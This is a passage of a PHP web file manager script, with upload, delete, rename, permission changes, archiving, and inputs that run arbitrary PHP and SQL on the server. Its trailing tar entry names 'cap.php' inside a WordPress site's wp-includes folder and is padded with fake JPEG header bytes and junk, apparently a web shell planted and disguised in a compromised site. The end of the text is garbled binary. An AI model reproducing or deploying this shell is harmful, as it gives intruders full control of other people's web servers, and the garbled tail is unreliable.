	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

